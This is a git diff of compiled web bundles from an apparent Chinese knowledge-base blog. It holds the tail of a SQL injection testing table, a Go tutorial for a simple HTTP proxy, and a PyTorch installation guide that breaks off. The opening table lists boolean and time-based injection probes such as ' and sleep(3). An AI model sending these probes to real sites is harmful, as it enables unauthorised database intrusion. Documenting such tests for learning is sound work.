1 = 1 --"})," ==> True",(0,d.jsx)(n.br,{}),"id=",(0,d.jsx)(n.code,{children:"' and 2 = 1 --"})," ==> False",(0,d.jsx)(n.br,{}),"id=",(0,d.jsx)(n.code,{children:"2-1"})," ==> \u662f\u5426\u8fd4\u56de",(0,d.jsx)(n.code,{children:"id=1"}),"\u76f8\u5173\u7684\u5185\u5bb9 ",(0,d.jsx)(n.br,{}),"id=",(0,d.jsx)(n.code,{children:"1/1"})," ==> True",(0,d.jsx)(n.br,{}),"id=",(0,d.jsx)(n.code,{children:"1/0"})," ==> False\u6216\u8005\u5f02\u5e38"]})]}),(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.td,{children:"\u8fd4\u56de\u5ef6\u65f6"}),(0,d.jsxs)(n.td,{children:["id=",(0,d.jsx)(n.code,{children:"' and sleep(3)"})," ==> \u5ef6\u65f63\u79d2\u751a\u81f3\u66f4\u4e45\uff0c\u9700\u8981\u6839\u636e\u7279\u5b9a\u7684\u6570\u636e\u5e93\u51fd\u6570\u6765\u5224\u65ad"]})]})]})]})]})}function a(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,d.jsx)(n,{...e,children:(0,d.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/74b8adbe.a651c83a.js b/en/assets/js/74b8adbe.a651c83a.js new file mode 100644 index 0000000..7cae6b8 --- /dev/null +++ b/en/assets/js/74b8adbe.a651c83a.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7332],{648:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>l,contentTitle:()=>c,default:()=>h,frontMatter:()=>i,metadata:()=>r,toc:()=>a});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7b80\u6613http\u4ee3\u7406","title":"go-proxy-http","description":"[!Note]","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/03.Go\u4ee3\u7801\u6848\u4f8b/02.GoLang-\u7b80\u6613http\u4ee3\u7406.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/03.Go\u4ee3\u7801\u6848\u4f8b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7b80\u6613http\u4ee3\u7406","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7b80\u6613http\u4ee3\u7406","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/03.Go\u4ee3\u7801\u6848\u4f8b/02.GoLang-\u7b80\u6613http\u4ee3\u7406.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"docker-daemon-api-rce","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-Docker-Daemon-Api-Rce"},"next":{"title":"\u4e0b\u8f7d\u5b89\u88c5","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u4e0b\u8f7d\u5b89\u88c5"}}');var o=t(74848),s=t(28453);const i={},c="go-proxy-http",l={},a=[{value:"\u77e5\u8bc6\u70b9",id:"\u77e5\u8bc6\u70b9",level:2},{value:"\u76d1\u542c\u7aef\u53e3",id:"\u76d1\u542c\u7aef\u53e3",level:3},{value:"Sscanf",id:"sscanf",level:3},{value:"net.Dial",id:"netdial",level:3},{value:"\u5b8c\u6574\u4ee3\u7801",id:"\u5b8c\u6574\u4ee3\u7801",level:2},{value:"\u8fd0\u884c\u5b9e\u4f8b",id:"\u8fd0\u884c\u5b9e\u4f8b",level:2}];function d(n){const e={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",p:"p",pre:"pre",...(0,s.R)(),...n.components};return(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(e.header,{children:(0,o.jsx)(e.h1,{id:"go-proxy-http",children:"go-proxy-http"})}),"\n",(0,o.jsxs)(e.blockquote,{children:["\n",(0,o.jsx)(e.p,{children:"[!Note]"}),"\n",(0,o.jsxs)(e.p,{children:["\u9879\u76ee\uff1a",(0,o.jsx)(e.a,{href:"https://github.com/wjlin0/go-proxy-http",children:"go-proxy-http"})]}),"\n"]}),"\n",(0,o.jsx)(e.h2,{id:"\u77e5\u8bc6\u70b9",children:"\u77e5\u8bc6\u70b9"}),"\n",(0,o.jsx)(e.h3,{id:"\u76d1\u542c\u7aef\u53e3",children:"\u76d1\u542c\u7aef\u53e3"}),"\n",(0,o.jsxs)(e.blockquote,{children:["\n",(0,o.jsx)(e.p,{children:"\u76d1\u542ctcp\u7aef\u53e3"}),"\n"]}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-go",children:'con, err := net.Listen("tcp", fmt.Sprintf(":%v", port))\nif err != nil {\n log.Panic(err)\n}\n'})}),"\n",(0,o.jsxs)(e.blockquote,{children:["\n",(0,o.jsx)(e.p,{children:"\u63a5\u6536\u56de\u7b54"}),"\n"]}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-go",children:"client, err := con.Accept()\nif err != nil {\n\t\t\tcontinue\n}\n"})}),"\n",(0,o.jsxs)(e.blockquote,{children:["\n",(0,o.jsx)(e.p,{children:"\u8bfb\u5230\u63a5\u6536\u7684\u6570\u636e\uff0c\u4f20\u5165b byte\u6570\u7ec4"}),"\n"]}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-go",children:"var b = make([]byte, max)\n\t_, err := client.Read(b[:])\n\n\tif err != nil {\n\t\treturn\n}\n"})}),"\n",(0,o.jsx)(e.h3,{id:"sscanf",children:"Sscanf"}),"\n",(0,o.jsxs)(e.blockquote,{children:["\n",(0,o.jsx)(e.p,{children:"\u4ee5\u7a7a\u683c\u4e3a\u5206\u5272\u8bfb\u53d6\u6570\u636e"}),"\n"]}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-go",children:"fmt.Sscanf(string(b[:bytes.IndexByte(b[:], '\\n')]), \"%v %v %v\", &method, &proxyUrl, &httpProtocolVersion)\n"})}),"\n",(0,o.jsx)(e.h3,{id:"netdial",children:"net.Dial"}),"\n",(0,o.jsxs)(e.blockquote,{children:["\n",(0,o.jsx)(e.p,{children:"\u5efa\u7acbtcp\u8fde\u63a5"}),"\n"]}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{children:'server, err := net.Dial("tcp", serverAddress)\n'})}),"\n",(0,o.jsxs)(e.blockquote,{children:["\n",(0,o.jsx)(e.p,{children:"\u5199\u5165\u62a5\u6587"}),"\n"]}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-go",children:"server.Write(b[:])\n"})}),"\n",(0,o.jsxs)(e.blockquote,{children:["\n",(0,o.jsx)(e.p,{children:"\u5c06client \u5199\u5165 server"}),"\n"]}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-go",children:"go io.Copy(server, client)\n\n"})}),"\n",(0,o.jsx)(e.h2,{id:"\u5b8c\u6574\u4ee3\u7801",children:"\u5b8c\u6574\u4ee3\u7801"}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"bytes"\n\t"flag"\n\t"fmt"\n\t"io"\n\t"log"\n\t"net"\n\t"net/url"\n\t"strings"\n)\n\nvar (\n\tport int\n\tmax int\n)\n\nfunc Banner() {\n\n\tfmt.Println(`\n __.__ .__ _______ \n__ _ __ |__| | |__| ____ \\ _ \\ \n\\ \\/ \\/ / | | | | |/ \\/ /_\\ \\ \n \\ / | | |_| | | \\ \\_/ \\\n \\/\\_/\\__| |____/__|___| /\\_____ /\n \\______| \\/ \\/ \n go-proxy-http `)\n}\nfunc Init() {\n\tflag.IntVar(&port, "port", 1024, "\u7aef\u53e3")\n\tflag.IntVar(&max, "max", 1024, "\u62a5\u6587\u5927\u5c0f")\n}\nfunc main() {\n\tInit()\n\tBanner()\n\tflag.Parse()\n\tcheckArgs()\n\tlog.Printf("\u4ee3\u7406\u7aef\u53e3: %v \u6700\u5927\u62a5\u6587\u5927\u5c0f: %v", port, max)\n\tcon, err := net.Listen("tcp", fmt.Sprintf(":%v", port))\n\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n\tfor {\n\t\tclient, err := con.Accept()\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tgo handleConnection(client)\n\t}\n}\n\nfunc checkArgs() {\n\t//flag.Usage()\n\tif max < 1024 {\n\t\tlog.Panic("\u62a5\u6587\u5927\u5c0f\u6700\u597d\u4e0d\u5c0f\u4e8e1024\u4e2a\u5b57\u8282")\n\t}\n}\n\nfunc handleConnection(client net.Conn) {\n\tvar b = make([]byte, max)\n\t_, err := client.Read(b[:])\n\n\tif err != nil {\n\t\treturn\n\t}\n\tvar method, proxyUrl, httpProtocolVersion, serverAddress string\n\tfmt.Sscanf(string(b[:bytes.IndexByte(b[:], \'\\n\')]), "%v %v %v", &method, &proxyUrl, &httpProtocolVersion)\n\turlParse, err := url.Parse(proxyUrl)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif method == "CONNECT" {\n\t\tserverAddress = urlParse.Scheme + fmt.Sprintf(":%v", urlParse.Opaque)\n\n\t} else {\n\t\tif strings.Index(urlParse.Host, ":") == -1 { //host\u4e0d\u5e26\u7aef\u53e3\uff0c \u9ed8\u8ba480\n\t\t\tserverAddress = urlParse.Host + ":80"\n\t\t} else {\n\t\t\tserverAddress = urlParse.Host\n\t\t}\n\t}\n\tserver, err := net.Dial("tcp", serverAddress)\n\tif err != nil {\n\t\treturn\n\t}\n\tif method == "CONNECT" {\n\t\t_, err := client.Write([]byte("HTTP/1.1 200 Connection established\\r\\n\\r\\n"))\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t} else {\n\t\tserver.Write(b[:])\n\t}\n\tgo io.Copy(server, client)\n\tgo io.Copy(client, server)\n\tfmt.Printf("%v -> %v\\n", client.RemoteAddr(), server.RemoteAddr())\n}\n\n'})}),"\n",(0,o.jsx)(e.h2,{id:"\u8fd0\u884c\u5b9e\u4f8b",children:"\u8fd0\u884c\u5b9e\u4f8b"}),"\n",(0,o.jsx)(e.p,{children:(0,o.jsx)(e.img,{alt:"image-20221229005710852",src:t(84231).A+"",width:"1052",height:"677"})})]})}function h(n={}){const{wrapper:e}={...(0,s.R)(),...n.components};return e?(0,o.jsx)(e,{...n,children:(0,o.jsx)(d,{...n})}):d(n)}},28453:(n,e,t)=>{t.d(e,{R:()=>i,x:()=>c});var r=t(96540);const o={},s=r.createContext(o);function i(n){const e=r.useContext(s);return r.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function c(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(o):n.components||o:i(n.components),r.createElement(s.Provider,{value:e},n.children)}},84231:(n,e,t)=>{t.d(e,{A:()=>r});const r=t.p+"assets/images/image-20221229005710852-7f56d31411082330107fbad7f53cfbd8.png"}}]); \ No newline at end of file diff --git a/en/assets/js/76f738db.aac37b2c.js b/en/assets/js/76f738db.aac37b2c.js new file mode 100644 index 0000000..fe2c6c4 --- /dev/null +++ b/en/assets/js/76f738db.aac37b2c.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[674],{3835:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>r,contentTitle:()=>a,default:()=>o,frontMatter:()=>l,metadata:()=>c,toc:()=>h});const c=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.2 PyTorch\u7684\u5b89\u88c5","title":"1.2 PyTorch\u7684\u5b89\u88c5.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/01.\u7b2c\u4e00\u7ae0/1.2 PyTorch\u7684\u5b89\u88c5.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/01.\u7b2c\u4e00\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.2 PyTorch\u7684\u5b89\u88c5","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.2 PyTorch\u7684\u5b89\u88c5","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/01.\u7b2c\u4e00\u7ae0/1.2 PyTorch\u7684\u5b89\u88c5.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"1.1 PyTorch\u7b80\u4ecb.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.1 PyTorch\u7b80\u4ecb"},"next":{"title":"1.3 PyTorch\u76f8\u5173\u8d44\u6e90.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.3 PyTorch\u76f8\u5173\u8d44\u6e90"}}');var i=s(74848),d=s(28453);const l={},a="1.2 PyTorch\u7684\u5b89\u88c5.md",r={},h=[{value:"1.2.1 Anaconda\u7684\u5b89\u88c5",id:"121-anaconda\u7684\u5b89\u88c5",level:2},{value:"Step 1\uff1a\u5b89\u88c5Anaconda/miniconda",id:"step-1\u5b89\u88c5anacondaminiconda",level:3},{value:"Step 2\uff1a\u68c0\u9a8c\u662f\u5426\u5b89\u88c5\u6210\u529f",id:"step-2\u68c0\u9a8c\u662f\u5426\u5b89\u88c5\u6210\u529f",level:3},{value:"Step 3\uff1a\u521b\u5efa\u865a\u62df\u73af\u5883",id:"step-3\u521b\u5efa\u865a\u62df\u73af\u5883",level:3},{value:"\u67e5\u770b\u73b0\u5b58\u865a\u62df\u73af\u5883",id:"\u67e5\u770b\u73b0\u5b58\u865a\u62df\u73af\u5883",level:4},{value:"\u521b\u5efa\u865a\u62df\u73af\u5883",id:"\u521b\u5efa\u865a\u62df\u73af\u5883",level:4},{value:"\u5b89\u88c5\u5305",id:"\u5b89\u88c5\u5305",level:4},{value:"\u5378\u8f7d\u5305",id:"\u5378\u8f7d\u5305",level:4},{value:"\u663e\u793a\u6240\u6709\u5b89\u88c5\u7684\u5305",id:"\u663e\u793a\u6240\u6709\u5b89\u88c5\u7684\u5305",level:4},{value:"\u5220\u9664\u865a\u62df\u73af\u5883\u547d\u4ee4",id:"\u5220\u9664\u865a\u62df\u73af\u5883\u547d\u4ee4",level:4},{value:"\u6fc0\u6d3b\u73af\u5883\u547d\u4ee4",id:"\u6fc0\u6d3b\u73af\u5883\u547d\u4ee4",level:4},{value:"\u9000\u51fa\u5f53\u524d\u73af\u5883",id:"\u9000\u51fa\u5f53\u524d\u73af\u5883",level:4},{value:"Step 4\uff1a\u6362\u6e90",id:"step-4\u6362\u6e90",level:3},{value:"pip\u6362\u6e90",id:"pip\u6362\u6e90",level:4},{value:"Linux\uff1a",id:"linux",level:5},{value:"Windows\uff1a",id:"windows",level:5},{value:"conda\u6362\u6e90\uff08\u6e05\u534e\u6e90\uff09\u5b98\u65b9\u6362\u6e90\u5e2e\u52a9",id:"conda\u6362\u6e90\u6e05\u534e\u6e90\u5b98\u65b9\u6362\u6e90\u5e2e\u52a9",level:4},{value:"Windows\u7cfb\u7edf\uff1a",id:"windows\u7cfb\u7edf",level:5},{value:"Linux\u7cfb\u7edf\uff1a",id:"linux\u7cfb\u7edf",level:5},{value:"1.2.2 \u67e5\u770b\u663e\u5361",id:"122-\u67e5\u770b\u663e\u5361",level:2},{value:"windows\uff1a",id:"windows-1",level:3},{value:"linux\uff1a",id:"linux-1",level:3},{value:"1.2.3 \u5b89\u88c5PyTorch",id:"123-\u5b89\u88c5pytorch",level:2},{value:"Step 1\uff1a\u767b\u5f55PyTorch\u5b98\u7f51",id:"step-1\u767b\u5f55pytorch\u5b98\u7f51",level:3},{value:"Step 2\uff1aInstall",id:"step-2install",level:3},{value:"Step 3\uff1a\u9009\u62e9\u547d\u4ee4",id:"step-3\u9009\u62e9\u547d\u4ee4",level:3},{value:"Step 4\uff1a\u5728\u7ebf\u4e0b\u8f7d",id:"step-4\u5728\u7ebf\u4e0b\u8f7d",level:3},{value:"Step 5\uff1a\u79bb\u7ebf\u4e0b\u8f7d",id:"step-5\u79bb\u7ebf\u4e0b\u8f7d",level:3},{value:"Windows\uff1a",id:"windows-2",level:4},{value:"Step 6\uff1a\u68c0\u9a8c\u662f\u5426\u5b89\u88c5\u6210\u529f",id:"step-6\u68c0\u9a8c\u662f\u5426\u5b89\u88c5\u6210\u529f",level:4},{value:"1.2.4 PyCharm\u5b89\u88c5\uff08\u53ef\u9009\u64cd\u4f5c\uff09",id:"124-pycharm\u5b89\u88c5\u53ef\u9009\u64cd\u4f5c",level:2},{value:"Step 1\uff1a\u8fdb\u5165\u5b98\u7f51\u4e0b\u8f7d",id:"step-1\u8fdb\u5165\u5b98\u7f51\u4e0b\u8f7d",level:3},{value:"Step 2\uff1a\u914d\u7f6e\u73af\u5883",id:"step-2\u914d\u7f6e\u73af\u5883",level:3}];function t(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",h5:"h5",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,d.R)(),...n.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.header,{children:(0,i.jsx)(e.h1,{id:"12-pytorch\u7684\u5b89\u88c5md",children:"1.2 PyTorch\u7684\u5b89\u88c5.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"left"},children:(0,i.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:10"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"left"},children:(0,i.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,i.jsx)(e.h1,{id:"12-pytorch\u7684\u5b89\u88c5",children:"1.2 PyTorch\u7684\u5b89\u88c5"}),"\n",(0,i.jsxs)(e.p,{children:["PyTorch\u7684\u5b89\u88c5\u662f\u6211\u4eec\u5b66\u4e60PyTorch\u7684\u7b2c\u4e00\u6b65\uff0c\u4e5f\u662f\u7ecf\u5e38\u51fa\u9519\u7684\u4e00\u6b65\u3002\u5728\u5b89\u88c5PyTorch\u65f6\uff0c\u6211\u4eec\u901a\u5e38\u4f7f\u7528\u7684\u662f",(0,i.jsx)(e.strong,{children:"Anaconda/miniconda+Pytorch"}),"+ IDE \u7684\u6d41\u7a0b\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"Anaconda/miniconda\u7684\u5b89\u88c5\u53ca\u5176\u5e38\u89c1\u547d\u4ee4"}),"\n",(0,i.jsx)(e.li,{children:"PyTorch\u7684\u5b89\u88c5\u6d41\u7a0b"}),"\n",(0,i.jsx)(e.li,{children:"\u5982\u4f55\u9009\u62e9\u4e00\u4e2a\u9002\u5408\u81ea\u5df1\u7684PyTorch\u7248\u672c"}),"\n"]}),"\n",(0,i.jsx)(e.h2,{id:"121-anaconda\u7684\u5b89\u88c5",children:"1.2.1 Anaconda\u7684\u5b89\u88c5"}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u6570\u636e\u79d1\u5b66\u548c\u6700\u8fd1\u5f88\u706b\u7684\u6df1\u5ea6\u5b66\u4e60\u4e2d\uff0c\u8981\u7528\u5230\u5927\u91cf\u6210\u719f\u7684package\u3002\u6211\u4eec\u4e00\u4e2a\u4e2a\u5b89\u88c5 package \u5f88\u9ebb\u70e6\uff0c\u800c\u4e14\u5f88\u5bb9\u6613\u51fa\u73b0\u5305\u4e4b\u95f4\u7684\u4f9d\u8d56\u4e0d\u9002\u914d\u7684\u95ee\u9898\u3002\u800c Anaconda/miniconda\u7684\u51fa\u73b0\u5f88\u597d\u7684\u89e3\u51b3\u4e86\u6211\u4eec\u7684\u95ee\u9898\uff0c\u5b83\u96c6\u6210\u4e86\u5e38\u7528\u4e8e\u79d1\u5b66\u5206\u6790\uff08\u673a\u5668\u5b66\u4e60\uff0c \u6df1\u5ea6\u5b66\u4e60\uff09\u7684\u5927\u91cfpackage\uff0c\u5e76\u4e14\u501f\u52a9\u4e8econda\u6211\u4eec\u53ef\u4ee5\u5b9e\u73b0\u5bf9\u865a\u62dfPython\u73af\u5883\u7684\u7ba1\u7406\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"step-1\u5b89\u88c5anacondaminiconda",children:"Step 1\uff1a\u5b89\u88c5Anaconda/miniconda"}),"\n",(0,i.jsxs)(e.p,{children:["\u767b\u9646",(0,i.jsx)(e.a,{href:"https://www.anaconda.com/products/individual",children:"Anaconda | Individual Edition"}),"\uff0c\u9009\u62e9\u76f8\u5e94\u7cfb\u7edfDownLoad\uff0c\u6b64\u5904\u4ee5Windows\u4e3a\u4f8b\uff08Linux\u53ef\u4ee5\u70b9\u51fb",(0,i.jsx)(e.a,{href:"https://docs.conda.io/en/latest/miniconda.html",children:"\u94fe\u63a5"}),"\u9009\u62e9\u5408\u9002\u7684\u7248\u672c\u8fdb\u884c\u4e0b\u8f7d\u6216\u8005\u901a\u8fc7\u5b98\u65b9\u63d0\u4f9b\u7684shell\u811a\u672c\u8fdb\u884c\u4e0b\u8f7d\uff09\uff1a"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"anaconda",src:s(73929).A+"",width:"1915",height:"961"})}),"\n",(0,i.jsx)(e.h3,{id:"step-2\u68c0\u9a8c\u662f\u5426\u5b89\u88c5\u6210\u529f",children:"Step 2\uff1a\u68c0\u9a8c\u662f\u5426\u5b89\u88c5\u6210\u529f"}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u5f00\u59cb\u9875\u627e\u5230Anaconda Prompt\uff0c\u4e00\u822c\u5728Anaconda3\u7684\u6587\u4ef6\u5939\u4e0b,( Linux\u5728\u7ec8\u7aef\u4e0b\u5c31\u884c\u4e86\uff09"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"prompt",src:s(34852).A+"",width:"397",height:"378"})}),"\n",(0,i.jsx)(e.h3,{id:"step-3\u521b\u5efa\u865a\u62df\u73af\u5883",children:"Step 3\uff1a\u521b\u5efa\u865a\u62df\u73af\u5883"}),"\n",(0,i.jsxs)(e.p,{children:["Linux\u5728\u7ec8\u7aef(",(0,i.jsx)(e.code,{children:"Ctrl"}),"+",(0,i.jsx)(e.code,{children:"Alt"}),"+",(0,i.jsx)(e.code,{children:"T"}),")\u8fdb\u884c\uff0cWindows\u5728",(0,i.jsx)(e.code,{children:"Anaconda Prompt"}),"\u8fdb\u884c"]}),"\n",(0,i.jsx)(e.h4,{id:"\u67e5\u770b\u73b0\u5b58\u865a\u62df\u73af\u5883",children:"\u67e5\u770b\u73b0\u5b58\u865a\u62df\u73af\u5883"}),"\n",(0,i.jsx)(e.p,{children:"\u67e5\u770b\u5df2\u7ecf\u5b89\u88c5\u597d\u7684\u865a\u62df\u73af\u5883\uff0c\u53ef\u4ee5\u770b\u5230\u6211\u4eec\u8fd9\u91cc\u5df2\u7ecf\u6709\u4e24\u4e2a\u73af\u5883\u5b58\u5728\u4e86"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"conda env list \n"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"env_list",src:s(97998).A+"",width:"1462",height:"761"})}),"\n",(0,i.jsx)(e.h4,{id:"\u521b\u5efa\u865a\u62df\u73af\u5883",children:"\u521b\u5efa\u865a\u62df\u73af\u5883"}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u6df1\u5ea6\u5b66\u4e60\u548c\u673a\u5668\u5b66\u4e60\u4e2d\uff0c\u6211\u4eec\u7ecf\u5e38\u4f1a\u521b\u5efa\u4e0d\u540c\u7248\u672c\u7684\u865a\u62df\u73af\u5883\u6765\u6ee1\u8db3\u6211\u4eec\u7684\u4e00\u4e9b\u9700\u6c42\u3002\u4e0b\u9762\u6211\u4eec\u4ecb\u7ecd\u521b\u5efa\u865a\u62df\u73af\u5883\u7684\u547d\u4ee4\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"conda create -n env_name python==version \n# \u6ce8\uff1a\u5c06env_name \u66ff\u6362\u6210\u4f60\u7684\u73af\u5883\u7684\u540d\u79f0\uff0cversion\u66ff\u6362\u6210\u5bf9\u5e94\u7684\u7248\u672c\u53f7\uff0ceg\uff1a3.8\n"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:s(96641).A+"",width:"975",height:"509"})}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u6ce8"}),"\uff1a"]}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsx)(e.li,{children:"\u8fd9\u91cc\u5ffd\u7565\u6211\u4eec\u7684warning\uff0c\u56e0\u4e3a\u6211\u4eec\u6d4b\u8bd5\u7684\u65f6\u5019\u5df2\u7ecf\u5b89\u4e86\u53c8\u5378\u8f7d\u4e00\u904d\u4e86\uff0c\u6b63\u5e38\u65f6\u662f\u4e0d\u4f1a\u6709warning\u7684\u3002"}),"\n",(0,i.jsx)(e.li,{children:"\u5728\u9009\u62e9Python\u7248\u672c\u65f6\uff0c\u4e0d\u8981\u9009\u62e9\u592a\u9ad8\uff0c\u5efa\u8bae\u9009\u62e93.6-3.8\uff0c\u7248\u672c\u8fc7\u9ad8\u4f1a\u5bfc\u81f4\u76f8\u5173\u5e93\u4e0d\u9002\u914d\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.h4,{id:"\u5b89\u88c5\u5305",children:"\u5b89\u88c5\u5305"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"conda install package_name \n# \u6ce8\uff1apackage_name \u66ff\u6362\u6210\u5bf9\u5e94\u7684\u5305\u7684\u540d\u79f0\uff0ceg: pandas\n"})}),"\n",(0,i.jsx)(e.h4,{id:"\u5378\u8f7d\u5305",children:"\u5378\u8f7d\u5305"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"conda remove package_name\n# \u6ce8\uff1apackage_name \u66ff\u6362\u6210\u5bf9\u5e94\u7684\u5305\u7684\u540d\u79f0\uff0ceg: pandas\n"})}),"\n",(0,i.jsx)(e.h4,{id:"\u663e\u793a\u6240\u6709\u5b89\u88c5\u7684\u5305",children:"\u663e\u793a\u6240\u6709\u5b89\u88c5\u7684\u5305"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"conda 